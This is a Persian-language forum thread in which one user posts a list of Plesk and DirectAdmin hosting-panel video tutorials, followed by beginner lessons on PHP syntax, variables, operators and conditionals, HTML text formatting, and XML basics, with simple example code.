نحوی ورود به کنترل پنل پلسک
ایجاد ایمیل های مجازی تحت ایمیل های اصلی EMAIL ALIAS
فعال نمودن سرویس دریافت کلیه پیامهای رسیده به دومین CATCHALL
ارسال کپی پیام های رسیده به ایمیل آدرسهای دیگر REDIRECT
مدیریت فایلهای هاستینگ در کنترل پنل پلسک
ویرایش رمز عبور جهت سرویس FRONTPAGE
نحوی ایجاد ساب وب در FRONTPAGE
مدیریت کاربران در دسترسی به سرویس FRONTPAGE
ویرایش و مدیریت چگونگی دسترسی به سرویس FTP
نحوی استفاده از اطلاعات کاربردی در کنترل پنل پلسک
آشنایی کلی با کنترل پنل هاستیگ پلسک
نحوی ورود به کنترل پنل پلسک جهت مدریت ایمیل ها
نحوی ایجاد لیست ایمیل ها در پلسک
ایجاد بانک اطلاعاتی MYSQL در پلسک
محافظت از رمز عبور جهت دسترسی به مطالب در پلسک
MYSQL توسط PHPMYADMIN
نحوی ایجاد ایمیل آدرس در پلسک
نحوی استفاده از آنتی ویروس و جلوگیری از دریافت پیام های مزاحم در پلسک
نحوی نصب SSL CERTIFICATION در پلسک
مشاهده وضعیت بازدیدکنندگان از وب سایت STAT
ایجاد ساب دومین در پلسک
نحوی ایجاد کاربران دیگر جهت استفاده از سرویس هاستینگ
نحوی استفاده از WEBMAIL

***
آموزش مدیریت هاستینگ کنترل پنل پلسک 10 Plesk 10 end-user:
ورود به کنترل پنل پلسک 10
آشنایی کلی با کنترل پنل پلسک 10
گرفتن اطلاعات فنی در باره کنترل پنل پلسک 10
نحوی ایجاد تغییرات در رمز عبور و اطلاعات تماس در پلسک 10
نحوی ایجاد تغییرات در اطلاعات ورود به پلسک 10
نحوی ایجاد و مدیریت استفاده از هاستینگ و محدودیت های آن در پلسک 10
نحوی ایجاد حساب کاربران در پلسک 10
ایجاد ایمیل آدرس و مدیریت آن در پلسک 10
ایجاد ایمیل های مجازی تحت ایمیل های اصلی در پلسک 10 EMAIL ALIAS
فعال نمودن سرویس دریافت کلیه پیامهای رسیده به دومین در پلسک 10 CATCHALL
ارسال کپی پیام های رسیده به ایمیل آدرسهای دیگر در پلسک 10 REDIRECT
ایجاد سرویس جوابگوی خودکار به پیام های رسیده در پلسک 10AUTO RESPONDER
نحوی استفاده از آنتی ویروس و جلوگیری از دریافت پیام های مزاحم در پلسک در پلسک 10
نحوی استفاده از WEBMAIL
نحوی ایجاد لیست ایمیل ها در پلسک 10
ایجاد و مدیریت دومین ها و ساب دومین های جدید در پلسک 10
ایجاد دومین های مجازی و سرویس دهی به انها در پلسک 10 DOMIAN ALIAS
نحوی جستجو و استفاده از نرم افزارهای آماده در پلسک 10
مدیریت فایلهای هاستینگ در کنترل پنل پلسک 10
مشاهده وضعیت بازدیدکنندگان از وب سایت STAT
ویرایش و مدیریت چگونگی دسترسی به سرویس FTP
ایجاد دسترسی به سرویس FTP جهت کاربران دیگر در پلسک 10
ایجاد دسترسی به سرویس همگانی FTP در پلسک 10 annonymous
مدیریت دومین ها و DNS ZONES در پلسک 10
نحوی نصب SSL CERTIFICATION در پلسک 10
مدیریت نسخه های پشتیبانی در پلسک 10
مدیریت رمز عبور جهت پوشه ها در پلسک 10
نحوی استفاده از اجرای دستورات خودکار و زمانبدی آن CRON JOBS در پلسک 10
ایجاد بانک های اطلاعاتی در پلسک 10
مدیریت و ویرایش بانک اطلاعاتی MYSQL توسط PHPMYADMIN
مدیریت و بازبینی وب لاگ در پلسک 10
نحوی ایجاد کاربران دیگر جهت استفاده از سرویس هاستینگ در پلسک 10
ایجاد دکمه های اختصاصی در کنترل پنل پلسک 10


***
آموزش کنترل پنل هاستینگ های دایرکت ادمین Direct Admin:

بررسی کلی در باره Direct Admin
ایجادیک ایمیل آدرس POP email account
نحوی دریافت کلیه پیام ها در یک ایمیل آدرس catch-all email account
نحوی تنظیمات email forwarding
ایجاد نمودن ساب دومین subdomain
نحوس پارک نمودن یک دومین domain pointer
نحوی ایجاد هاستینگ های اضافه در دایرکت ادمین
مدیریت تغییر مسیر لینک ها URL redirects
نحوی ایجاد پاسخگوی اتوماتیک به پیام های رسیده در ایمیل autoresponder
نحوی ایجاد پاسخگویی اتوماتیک به پیام ها در موارد نبود دسترسی به ایمیل ها در زمان طولانی vacation messages
نحوی تغییرات در رمز عبور پنل دایرکت ادمین
مدیریت رمز عبور جهت دایرکتورها password protect a directory
نحوی ایجاد صفحه نمایش خطا custom error pages
نحوی ایجاد بانک اطلاعاتی MySQL database
مدیریت بانک اطلاعاتی توسط PHPMyAdmin
نصب سرویس FrontPage extensions
مدیریت فایل ها در File Manager
نحوی ایجاد لیست ایمیل ها mailing list
نحوی ایجاد اجازه دسترسی به فایل های هاستینگ توسط کاربران additional FTP accounts
نحوی ایجاد فایل پشتیبانی backup your website
نحوی استفاده از وب میل WebMail
احوی ایجاد فی.لت.ر ها جهت پیام های مزاحم spam filter
نحوی نصب SSL certificate
طریقه بازبینی وضعیت ترافیکی وب سایت website statistics
نحوی ایجاد اجرای اسکریپت ها بطور خودکار در دایرکت ادمین Cronjob
نحوی استفاده از نصب برنامه های آماده در دایرکت ادمین Installatron





اقا این آموزش ها همه به صورت فیلم فلش هستن و فلش پلیر هم میتوانید از لینک های زیر دانلود کنید:

دانلود نرم افزار مخصوص كليه ويندوزها - 3.04 مگابايت|لينک كمكي|لينک كمكي
دانلود Active X مخصوص اینترنت اکسپلورر- 2.64 مگابايت | لينک كمكي |لينک كمكي
دانلود Active X مخصوص فايرفاكس و اپرا- 2.61 مگابايت |لينک كمكي| لينک كمكي

پسورد فايل زيپ : http://www.asandownload.com


";
</body>
</html>
آخرین ويرايش توسط 2 on SINISTERMMP, ويرايش شده در 0.
SINISTERMMP
کاربر فعال
کاربر فعال
پست: 565
تاریخ عضویت: جمعه ۲۹ بهمن ۱۳۸۹, ۱۲:۰۰ ق.ظ
تشکر کرده: 62 دفعه
تشکر شده: 259 دفعه

آموزش php (قسمت دوم )

پست توسط SINISTERMMP »

در این قسمت با دستور زبان پی اچ پی php syntax بیشتر آشنا میشیم. به کد زیر توجه کنید:

کد: انتخاب همه

<?php
   $counter = 1;				    
   echo 'The counter is '.$counter; // meghdar counter namayesh dade mishe

   /* in ghesmat az code hazf shode
   counter += 10; 
    echo 'This counter is'.$counter; */
?>

بعد از اینکه این مثال رو اجرا کردید میبینید که خروجی اون به شکل The counter is 1 هست! حالا اجازه بدید با دقت بیشتری به کدش توجه کنیم:

- با خطوط 1 و 6 که آشنا هستید و میدونید برای این یک کد php اجرا بشه باید بین <? و php?> قرار بگیره!
- در زبان php بعد از اتمام هر دستور باید علامت Semicolon ";" رو بنویسید ، فراموش کردنش جزو خطاهای بزرگ یه برنامه نویس محسوب میشه ها تصویر
- از علامت // برای نوشتن توضیحات comment بین خطوط برنامه استفاده می کنیم. توضیحات برای برنامه نویس هست و مفسر هر وقت بهشون میرسه بدون اینکه اجراشون کنه ازشون رد میشه. در هنگام نوشتن برنامه هاتون حتما سعی کنید جاهاییکه عملکرد کد واضح نیست - اگه بعدا ببیندش متوجه نحوه کارکردش نمیشید - از توضیحات استفاده کنید تا بعدا که به سراغ کدهاتون میایید بتونید ازش سر در بیارید! البته توضیحات رو میشه بین علامت های /* */ قرار بدید!

آخرش واسه ی توضیحات از کدوم استفاده کنم!!!؟؟

اگر توضیحات شما تویه یک خط جا میشن بهتره که از // استفاده کنید چون از // فقط برای توضیحات یک خطی میشه استفاده کرد.
اگر توضیحات شما باید تویه چند خط نوشته بشه باید همه ی اون خطوط رو بین /* */ قرار بدید. اگه خوب مثال بالا توجه کنید میبینید که خطوط 4 و 5 و 6 اجرا نمیشن با اینکه تویه خطوط 5 و 6 دستورات برنامه نویسی دارن!

- counter یه متغیره که ازش برای نگهداری عدد یک استفاده کردیم. قیل از نام هر متغیر باید $ قرار بگیره تا مفسر بفهمه که اون یک متغیر هستش! متغیرها رو مثل یک ظرف فرض کنید که بسته به نوع اونها میتونید داخلش عدد ، رشته و ... بریزید! البته باید توجه کنید که متغیرهای php نوعشون توسط مفسر تعیین میشه بسته به چیزی که داخلشون میریزید!

تصویربازم من گیج شدم یعنی چی بسته به چیزی که داخلشون میریزید نوعشون تعیین میشه؟؟؟؟

در خیلی از زبان های برنامه نویسی شما باید قبل از اینکه از یک متغیر استفاده کنید باید اون رو تعریف کنید و نوع اون متغیر رو هم مشخص کنید مثلا مشخص کنید عدد قرار داخلش قرار بگیره یا رشته ای از حروف و بعد هم باید مشخص کنید که اندازه اون عدد یا رشته حداکثر چقدره! به مثال زیر که به زبان ++C نوشته شده دقت کنید:

کد: انتخاب همه

#include <iostream>
#include <string>
using namespace std;
int main()
{
   int age;
  float grade;
  string name;
   age = 20;
   grade = 19.19;
  name = "Meysam";
  cout << name << " " << age << " " << grade << endl;
   return 0;
}

تویه خطوط 6 و 7 و 8 متغیرهای age ، grade و name رو تعریف کردیم ، باید دقت کنید که تویه age فقط میتونید عدد بریزید و تویه name فقط میتونید رشته های حروفی قرار بدید! اگر این متغیرها رو تعریف نمی کردیم یا به جای هم به کار می بردیم کامپایلر ++C پیغام خطا میداد! ولی تویه php هرجا که خواستید از یک متغیر استفاده کنید فقط باید یه اسم واسش انتخاب کنید و ازش استفاده کنید! تویه مثال یک میبینید که بدون اینکه متغیر counter رو تعریف کنیم و نوع اونو مشخص کنیم ازش استفاده کردیم! نوشتن $ قبل از اسم متغیر اجباریه و این بارهم فراموش کردنش جزو خطاهای بزرگ یه برنامه نویس محسوب میشه D:
زمان انتخاب اسم برای متغیرها نکات زیر رو با یاد داشته باشید و رعایت کنید:
- اسمی که انتخاب می کنید سعی کنید معنی داشته باشه مثلا برای شمارنده از counter$ برای مجموع یکسری عدد از sum$ یا برای نام دانشجویان از stdNames$ و ... استفاده کنید!
- اسم هر متغیر باید با حروف A-Z یا a-z یا _ شروع شود
- اسم یک متغیر نمی تواند کاراکتری به غیر از حروف ، اعداد و _ داشته باشد. استفاده از dot # % و ... در اسم متغیر مجاز نیست D:
- در اسم متغیر نباید از فاصله Space استفاده بشه! std Name غلطه و باید به جای اون مثلا بنویسیم std_Name

به عنوان آخرین نکته یادتون باشه که php یک زبان case sensitive هست یعنی بین حروف کوچک و بزرگ فرق قائل میشه! naMe$ و Name$ دو متغیر مستقل اند!


متشکرم


چرا کسی تشکر نمیکنه
تصویرتصویرتصویر
SINISTERMMP
کاربر فعال
کاربر فعال
پست: 565
تاریخ عضویت: جمعه ۲۹ بهمن ۱۳۸۹, ۱۲:۰۰ ق.ظ
تشکر کرده: 62 دفعه
تشکر شده: 259 دفعه

آموزش HTML - مقدماتی -متن ها

پست توسط SINISTERMMP »

سطح آموزش: مبتدی
نوع آموزش :HTML
**
خوب اقا الان با ادامه HTML خدمتتون رسیدم و تو این قسمت آموزش کار با متن را در HTML آموزش میدم:

اگر شما می خواهید متنی را به صفحه html خود اضافه کنید کافی است متن دلخواه را در قسمت Body از صفحه html تایپ کنید.
مثال:
ویراستار Dreamweaver یا notepad++ خود را باز کنید و کد زیر را تایپ کنید:

کد: انتخاب همه

<html> 
<head> 
    <title>my page</title>
</head> 
   <body>
    .سلام !!این صفحه وب من است.
   </body>
</html>
سپس با پسوند htm یا html آن را ذخیره کنید.
با باز کردن مثال خود با مرورگر کروم یا هر مرورگر دیگر نتیجه به صورت زیر خواهد شد:
سلام !!این صفحه وب من است.
اگر خطوط را به صورت "خرچنگ قورباغه" مي بينيد,فرار نكنيد, کافی است در هنگام Save کردن در پایین پنجره گزینه Encoding را با UTF-8 تنظیم کنید (در صورت استفاده از n++ باید قبل از save کردن از منوی Format گزینه Encode in UTF-8 را انتخاب نمایید).
مانند مثال بال اگر ویژگی های خاصی را به متن اضافه نکنید مرورگر از سایز و فونتی که به صورت پیش فرض برایش تعریف شده استفاده می کند.

فونت پیش فرض (BASE FONT):

برای اینکه متنی که در کل صفحه html وارد می کنید به یک شکل دیده شود یا به عبارت دیگر یک فونت سراسری با اندازه و رنگ یکسان داشته باشید کافی است که از دستور <basefont> در ابتدای قسمت بدنه (body) استفاده کنید.
مثال: ویراستارDreamweaver خود را باز کنید و کد زیر را تایپ کنید سپس با پسوند htm یا html و با نام دلخواه آن را ذخیره کنید.

کد: انتخاب همه

 <html> 
<head> 
	 <title>my page</title> 
</head> 
  <body> 
	<basefont face="Tahoma, arial, verdana" size="4" color="red"> 
	  Hello! This is my page. 
	  All text looks the same<br> 
	 since I only specified a basefont<br> 
</body> 
</html>

در مثال بالا خاصیت های color,size,face از دستور basefont به ترتیب بیانگر فونت, اندازه یا سایز متن ( 1کوچکترین و 7 بزرگترین سایز) ورنگ متن html شما هستند.

نکته: اگر لیستی از فونت ها را مانند مثال بالا وارد کنیم مرورگر از اولین فونت قابل نمایش برای متن درکامپیوتر بیننده استفاده می کند.یعنی اگر قابلیت نمایش فونت Tahoma فراهم نباشد مرورگر از فونت arial وگر نه از فونت verdana استفاده خواهد کرد. نتیجه مثال بالا به صورت زیر خواهد شد:

خروجی :
Hello! This is my page. All text looks the same
since I only specified a basefont

توجه کنید که در هنگام نوشتن متون html برای رفتن به خط بعدی باید از دستور <br> استفاده کنید. با توجه به مثال خواهید دید که در خط 7 از <br> استفاده نکردیم و به همین دلیل متن نوشته شده در خط 8 با وجود اینکه در خط بعدی کد نوشته شده درخروجی بلافاصله بعد از متن خط 7 دیده میشود.

تغییر فونت متن :
با استفاده از دستور </font><font> می توان فونت ,رنگ و اندازه متن را تغییر داد.
مثال: ویراستار Dreamweaver خود را باز کنید و کد زیر را تایپ کنید سپس با پسوند htm یا html و با نام دلخواه آن را ذخیره کنید.

کد: انتخاب همه

<html> 
   <head> 
   <title>My Page</title> 
   </head> 

<body> 
   <basefont color="green" face="arial" size="4"> 
   Hello! This is my page.<br><br> 
   <font color="red" face="arial" size="2"> 
   This local text looks different. 
   </font> 
   <br><br> 
   This text looks like the first line. 
</body> 
</html>
با باز کردن مثال خود با مرورگر کروم , کد بالا نتیجه زیر را در مرورگر خواهد داشت:


Hello! This is my page.

This local text looks different.

This text looks like the first line.

با استفاده از صفت های color,face,size از دستور <font> می توان به ترتیب اندازه (1 کوچکترین و7 بزرگترین) ,نوع فونت و رنگ متن را تعیین کرد.

تفاوت font با basefont
basefont در کل صفحه وب اعمال می شود.در حالی که در دستور font تنها متنی که بین <font>…</font> قرار دارد تحت تاثیر این دستور و صفت های آن(face,color,size) قرار می گیرد.

قالب بندی متن:
در html قالب بندی متون به سادگی توسط دستورات مشخص شده در جدول انجام می شود!
2.gif
2.gif (5.89 کیلو بایت) مشاهده 1538 مرتبه
اندازه های متون:
در html روش های متعددی برای تعیین اندازه متون پیش بینی شده است!
3.gif
3.gif (3.83 کیلو بایت) مشاهده 1538 مرتبه

نکته اول در مورد دستور <big></big> اینکه می توان از آن به صورت تکراری و پشت سر هم استفاده کرد.مثلا اگر بخواهیم متنی با دو سایز بزرگ تر از حالت عادی نمایش داده شود , کافی است از این دستو دو بار به صورت زیر استفاده شود .
<big><big>text</big></big>

و نکته دوم اینکه مقادیر صفت size متغیرند و می توانید از تمامی مقادیر 1 تا 7 استفاده کنید!

پاراگراف بندی:
برای پاراگراف بندی متن در Html کافی از دستور <p>…</p> استفاده کنیم , که <p> نشان دهنده شروع پاراگراف و <p/> نشان دهنده پایان آن است.
صفات Align,Id,Title,Dir از جمله صفاتی هستند که به بحث آنها می پردازیم:

صفت Dir : برای اینکه جهت نوشته شدن متن را مشخص کنیم از این صفت استفاده می کنیم. مقادیر این صفت عبارتند از LTR مخفف Left To Right به معنی چپ به راست و همچنین RTL مخفف Right To Left به معنی راست به چپ که از دومی ( RTL ) برای نوشتن متون فارسی استفاده می کنیم.

صفت Title: عبارتی که جلوی Title نوشته می شود به عنوان توضیح در مورد پاراگراف هنگامی که ماوس روی آن قرار می گیرد, ظاهر می شود.

صفت Id : نام پاراگراف را تعیین می کند.که این نام از طریق شیوه نامه ها قابل دسترسی است.

صفت Align :که مکان پاراگراف را مشخص می کند.که دارای سه مقدار Left,Right,Center است که قبلا توضیح داده شده است.

عناوین:
در اچ تی ام ال از دستورات h1 - h6 برای تعیین عنوان استفاده می شود. برای این کار از دستور مورد نظر به صورت <hX>Text</hX> استفاده می شود که باید بر حسب نیاز X را با عدد مورد نظر جایگزین کنید. مهمترین نکته در مورد دستورات تعیین عنوان این است که این دستورات برعکس نامشان اندازه عنوان را تعیین می کنند یعنی از h1 برای تعیین بزرگترین عنوان و از h6 برای تعیین کوچکترین عنوان استفاده می شود.
Heading7
Heading6
Heading5
Heading4
Heading3
Heading2
Heading1

به عنوان آخرین نکته در نظر داشته باشید که می توانیم بوسیله قراردادن صفت align در دستورات hX محل قرارگیری عناوین را مشخص کنیم. نحوه استفاده از این صفت و مقادیر مختلف آن را در ادامه خواهید دید.

کد: انتخاب همه

<h1 align="center">عنوان در وسط</h1>

[CENTER]عنوان در وسط[/CENTER]


کد: انتخاب همه

<h1 align="left">عنوان سمت چپ</h1>
[LEFT]عنوان سمت چپ[/LEFT]


کد: انتخاب همه

<h1 align="right">عنوان سمت راست</h1>

[RIGHT]عنوان سمت راست[/RIGHT]

با تشکر

تشکر یادتون نره
SINISTERMMP
کاربر فعال
کاربر فعال
پست: 565
تاریخ عضویت: جمعه ۲۹ بهمن ۱۳۸۹, ۱۲:۰۰ ق.ظ
تشکر کرده: 62 دفعه
تشکر شده: 259 دفعه

آموزش PHP -مقدماتی - جلسه سوم

پست توسط SINISTERMMP »

سطح آموزش : مبتدی
نوع آموزش :PHP 5.3
***
خوب حالا میریم سر وقت PHPدر این بخش عملگرهای زبان پی اچ پی رو بررسی می کنیم!

عملگر چیه؟؟!!تصویر

عملگرها علائمی هستند که با استفاده از اونا میتونید عملیات خاصی رو رویه مقادیر انجام بدید مثل اعمال منطقی و ریاضی! مثلا + برای جمع کردن دو عدد استفاده میشه و یا < برای مقایسه دو مقدار به کار برده میشه. لیست عملگرهای زبان php و توضیح در مورد هر کدومشون رو در ادامه میبینید!

دسته اول عملگرهای ریاضی هستند:
+ مجموع 2 + 3 = 5
- تفریق 3 - 5 = 2
* ضرب 5 * 4 = 20
/ تقسیم 5 / 20 = 4
% باقیمانده تقسیم 3 % 20 = 2
++ یکی به عدد اضافه میکنه ;++i معادل با 1 + i = i
-- یکی از عدد کم میکنه ;--j معادل با 1 - j = j

عملگر انتصاب =
این عملگر نیاز به کمی توضیح داره واسه دوستانی که دارن تازه برنامه نویسی یاد میگیرن. وظیفه این عملگر اینه که همیشه نتیجه نهایی مقدار سمت راست عبارت رو در متغیر سمت چپ ذخیره میکنه! مثلا با اجرای دستور ;5+9=c مقدار 14 در متغیر c ذخیره میشه. مهمترین نکته در مورد این عملگر اینه که سمت چپش باید همیشه یه متغیر بیاد!

از ترکیب عملگر انتصاب با عملگرهای ریاضی بالا عملگرهای ترکیبی به دست میان. به عنوان مثال عبارت 3=+i معادل 3 + i = i هست در مورد سایر عملگرهای ترکیبی هم این موضوع درسته!

=+ به اندازه متغیر سمت راست به متغیر سمت چپ اضافه میکنه 3=+i
=- ...کم میکنه j-=k
=* ...ضرب میکنه 2=*m
=/ ...تقسیم میکنه 12=/i
=% باقیمانده عبارت را محاسبه و در متغیر سمت چپ ذخیره میکنه 7=%k

عملگرهای مقایسه ای همونطوری که از اسمشون پیداست برای مقایسه دو مقدار به کار برده میشن و نتیجه ای که بر می گردونند از نوع درست یا غلط است! مثلا نتیجه عبارت 3 > 2 درست و نتیجه عبارت 3 < 2 غلط هست!
== بررسی تساوی 3==3 درست
=! بررسی نابرابری 3=!3 غلط
> کوچکتر 2>3 غلط
< بزرگتر 8<7 غلط
=< کوچکتر مساوی 8=<9 درست
=> بزرگتر مساوی 6=>5 درست

البته نوع دیگه ای از عملگرها هم وجود دارن که به اونها عملگرهای منطقی میگن! بیشترین کاربرد این عملگرها برای ترکیب روابط در دستورات شرطی هستش!

&& and و این عملگر تنها در صورتی مقدار درست بر میگردونه که همه عبارتها درست باشند (8=<9) && (6=>5) درست
|| or یا برای گرفتن نتیجه درست از این عملگر کافیه یکی از عبارت ها مقدار درست داشته باشند (8=9) || (6=>5) درست
! دروغگو not اگر نتیجه عبارت درست باشه اون رو غلط و اگر نتیجه غلط باشه اون رو درست اعلام میشکنه (3==3)! غلط

جلوتر که بریم بیشتر با نحوه استفاده از این دستورات آشنا میشیم!
SINISTERMMP
کاربر فعال
کاربر فعال
پست: 565
تاریخ عضویت: جمعه ۲۹ بهمن ۱۳۸۹, ۱۲:۰۰ ق.ظ
تشکر کرده: 62 دفعه
تشکر شده: 259 دفعه

آموزش XML -مقدماتی

پست توسط SINISTERMMP »

"ايكس.ام.ال"(XML:
Extensible markup language) برای توصیف داده طراحی شده است و برآنچه از
نوع داده است تمر کز دارد .
"اچ.تي.ام"(HTML: Hypertext Markup Language) برای نمایش داده طراحی شده
است وبر چگونگی نمایش داده ها تمر کز دارد .
"ايكس.ام.ال."
چيست؟تصویر
"ايكس.ام.ال." مخفف Extensible
markup language زبان نشانه گذاري گسترش پذير است .
تعاریفتصویر(" بازم تعریف ")
عمده "ايكس.ام.ال." و "اچ.تي.ام"
"ايكس.ام.ال."جانشيني براي "اچ.تي.ام.ال." نيست."ايكس.ام.ال."براي توصيف دادها و "اچ.تي.ام.ال."نمایش داده های طراحی شده است .
"ايكس.ام.ال." برای انجام دادن کاری طراحی نشده است ممکن است درک آن سخت باشد اما XML کاری انجام نمی دهد .XML برای ساخت ، ذخیره و ارسال اطلاعات ایجاد شده است . مثال زیر یک سند XML را نشان می دهد :

کد: انتخاب همه

<note>
<to>Tove</to>
<from>Jani</from>
<heading>Riminder</heading>
<body>Don’t 
forgout me this weekend</body>
</note>
اين يادداشت يك سرصفحه (header) و يك بدنه (body) دارد ،همچنين يك گيرنده و يك فرستنده اطلاعات دارد اما هنوز اين سند کاري انجام نمي دهد . درواقع اطلاعات ساده پيچيده شده در برچسبهاي XML است و فرد بايد يك نرم افزاري براي ارسال، دريافت يا نمايش آن بنويسد .

XML مستقل و گسترش پذير استتصویر
برچسب ها در XML از پيش تعريف شده نيست و شما بايد برچسب هاي خود را ابداع کنيد .برچسب هايي که در نشانه گذاري اسناد HTML استفاده شده اند و ساختار اسناد HTMLاز پيش تعريف شده اند . مثل <p>,<h1>
در توسعه آينده وب به احتمال خيلي زيادي از XML براي توصيف داده استفاده خواهد شد ، در حالي که HTML براي فرمت و نمايش داده ها استفاده خواهد شد.
سرعت توسعه استانداردهاي تصویر
XML و سرعت انطباق تهيه کنندگان نرم افزارها با اين
استانداردها تعجب آور است. نويسنده معتقد است که XML براي آينده وب به اندازه HTML که پايه وب بوده است مهم خواهد بود.XML مهمترين ابزار براي کاربرد درست داده و انتقال داده خواهد بود.XML چگونه استفاده خواهد شدXML مي تواند داده را از HTML جدا کند و در فايل XML ذخيره نمايد . در اين شيوه شما می توانید از HTML براي نمايش و تنضيمات صفحه استفاده کنيد و مطمئن باشيد که تغيير در داده اي زيربنايي نيازمند هيچ تغييري در HTML شما نيست.

XML براي مبادله داده استفاده مي شود.در XML ، داده مي تواند ميان سيستمهاي ناسازگار منتقل شود .در دنياي واقعي،سيستمهاي کامپيوتري و پايگاهاي داده شامل داده هايي در فرمت هاي ناسازگار (متضاد ) هستند ويكي از چالش هاي زمان بر براي توسعه دهندگان مبادله داده ميان چنين سيستمهايي روي اينترنت است . تبديل داده به XML به مقدار زيادي اين پيچيدگي را کاهش مي دهد و داده هايي را ايجاد مي کند که بوسيله انواع برنامه هاي کاربردي متفاوت مي تواند خوانده شود.مبادله اطلاعات مالي در اينترنت با XML اطلاعات مالي در اينترنت مي تواند مبادله شود . XML زبان اصلي براي مبادله اطلاعات مالي شرکتها در اينترنت خواهد بود. تعدادي از برنامه هاي کاربردي جالب شرکت به شرکت در حال توسعه هستند.XML براي اشتراك داده مي تواند استفاده شود با XML فايل هاي متني ساده مي تواند براي اشتراك داده استفاده شود .XML يك شيوه مستقل سخت افزاري و نرم افزاري را براي اشتراك داده فراهم مي کند که با اين کار ايجاد داده اي که برنامه هاي کاربردي متفاوت براحتي بتوانند با آن کار کنند را آسان مي کند . XML همچنين گسترش و ارتقاء سيستم به سيستم هاي عملياتي جديد ، سرورها،برنامه هاي کاربردي و مروگرهاي جديد تسهيل مي نمايد.XML داده را بسيار پراستفاده مي نمايد با XML داده شما براي کاربران زيادي قابل دسترس خواهد بود . چون XML از نرم افزار ، سخت افزار و برنامه آاربردي مستقل است شما مي توانيد داده خود را همچنين براي مرورگرهاي ديگري غير از مرورگرهاي استاندارد HTML قابل دسترس نمايند . برنامه هاي کاربردي و مشتريان ديگر مي توانند به فايل هاي XML شما به عنوان منابع داده دسترسي پيدا آنند مثل اينكه آنها به پايگاههاي داده دسترسي پيدا مي کنند . داده شما ممكن است براي تمام انواع بنگاههاي ماشين خوان قابل دسترس باشد و امكان دسترسي افراد نابينا و ديگر افراد معلول به داده هاي شما را تسهيل مي گردد.

XML
براي ايجاد زبان جديد مي تواند استفاده شود XML مادر زبان i (wireless Markup language) WMI است. زبان نشانه گذاري بدون سيم استفاده شده در نشانه گذاري برنامه هاي آاربردي اينترنت براي ابزارهاي دستي مثل تلفن همراه در XML نوشته شده است .XML در آينده ممكن است به ما برنامه
هاي کاربردي صفحه گسترده و پردازشگر ورد و پايگاه هاي داده که ميتوانند را در فرمت متن ساده بدون هيچ برنامه کاربردي تبديلي مابينشان بخوانند را داده هاي يكديگر ارائه دهد .

ترکيب XML
ترکيب قوانين XML بسيار ساده و روشن است . يادگيري و استفاده قوانين بسيار آسان است، براي همين ايجاد نرم افزاري که بتواند XML را بخواند وبكار ببرد بسيار آسان است.

نمونه يك سند XML :تصویر

کد: انتخاب همه

<?xml version="1.0" 
encoding="ISO-8859-1"?>

<note>

<to>Tove</to>

<from>Jani</from>


<heading>Reminder</heading>


<body>Don't forget
me this weekend!</body>

</note>

تصویر
اولين خط در سند (اعلان "XML") نسخه XML وکاراکترکد شده مورد استفاده در سند را توصيف مي کند. خط بعدي عنصر ريشه از سند را توصيف مي آند . چهار خط بعدي چهارعنصر فرزند ريشه را توصيف مي آند و خط آخر انتهاي عنصر ريشه را توصيف مي کند.همه عناصر(elements) ايكس.ام.ال. بايد يك برچسب (Tag) پاياني داشته باشند در XML حذف برچسب پاياني غيرقانوني است . در HTML تعدادي از عناصرمجبور نيستند که يك برچسب پاياني داشته باشند.
<p> اين يك پاراگراف است
<p> اين يك پاراگراف ديگر است
اما درXML همه عناصر بايد يك برچسب پاياني داشته باشند مثل:
<p> اين يك پاراگراف است <p/>
<p> اين يك پاراگراف ديگر است <p/>
توجه: اعلان XML برچسب پاياني ندارد . اين يك اشتباه نيست .اعلان بخشي از سند XML نيست . اعلان ، يك عنصر XML نيست و مي تواند برچسب پاياني را نداشته باشد.
برچسب هايXML نسبت به بزرگي و کوچكي حروف حساس هستند:
برخلاف HTML برچسب هاي XML نسبت به بزرگي و کوچكي حروف حساس هستند . با XML برچسب <letter> از برچسب <Letter> متفاوت است.
بنابراين برچسب هاي آغازي و آخري بايد به يك حالت نوشته شود. مثال:

کد: انتخاب همه

<Message>this
is incorrect</message>

<message>this is 
correct</message>



همه عناصر XML بايد بطور مناسب قرار بگيرند با قرار گرفتن نامناسب برچسب ها، هيچ معني درXML نخواهند داشت. در HTML بعضي از عناصر مي توانند بطور نامناسبي با يكديگر قرار بگيرند.
همه اسناد XML بايد يك عنصر ريشه (root) داشته باشند تمامي اسناد XML بايد شامل يك جفت برچسب واحد براي تعريف عنصر ريشه باشند .
همه عناصر بايد درون داشته باشند .عناصر فرعي بايد بطور صحيحي درون (child) اين عنصر ريشه باشند . همه عناصر مي توانند عناصر فرزند والدين قرار بگيرند.

کد: انتخاب همه

<root>

<child>

<Subchild>…</subchild>


</child>


</root>

فکر کنم دیگه کافی باشه برای این قسمت خیلی زیاد شده دیگه اگر زیاد باشه خسته میشید .
اینا رو بخونید که وقتی میام آموزش ماژول نویسی بلوک نویسی و توسعه قالب رو میدم مشکلی نداشته باشیم.
فقط تشکر یادتون نرهتصویرو پست را تایید میکنمتصویر
SINISTERMMP
کاربر فعال
کاربر فعال
پست: 565
تاریخ عضویت: جمعه ۲۹ بهمن ۱۳۸۹, ۱۲:۰۰ ق.ظ
تشکر کرده: 62 دفعه
تشکر شده: 259 دفعه

آموزش php - مقدماتی - قسمت پنجم-دستورات شرطی و انتخابی

پست توسط SINISTERMMP »

با سلام دیگه وقت تلف نمیکنم چند روزی نبودم الان با ادامه آموزش ها اومدم.
به این فکر کنید که می خواهید به یک سفر تفریحی برید!! اگر در تاریخ مورد نظر امتحان داشته باشید سفر خودتون رو لغو می کنید در غیر این صورت طبق برنامه به مسافرت میرید! این یک نمونه از دستورات شرطی هست که در زندگی روزمره زیاد باهاش برخورد می کنیم. در زبان های برنامه نویسی هم یکی از مهمترین و پرکاربردترین بخش های اون زبان دستورات شرطی هستند که اجازه میدن در صورتی که یک عبارت درست باشد یکسری عملیات انجام بشه و در صورت عدم برقراری اون عبارت یکسری دیگه از کارها انجام بشن!

در زبان php شکل کلی دستور شرطی به صورت زیر هستش:

کد: انتخاب همه

if (عبارت شرط)
    دستوری که اگر شرط بر قرار باشه اجرا میشه;
else
    دستوری که اگر شرط بر قرار نباشد اجرا میشود;
توجه کنید که میتونید قسمت else رو حذف کنید در این صورت فقط زمانیکه شرط برقرار باشه دستور خط 4 اجرا میشه و اگر شرط برقرار نباشه هیچ اتفاقی نمی افته! یعنی به شکل زیر در میاد:

کد: انتخاب همه

if (عبارت شرط)
    دستوری که اگر شرط برقرار باشد اجرا میشود;
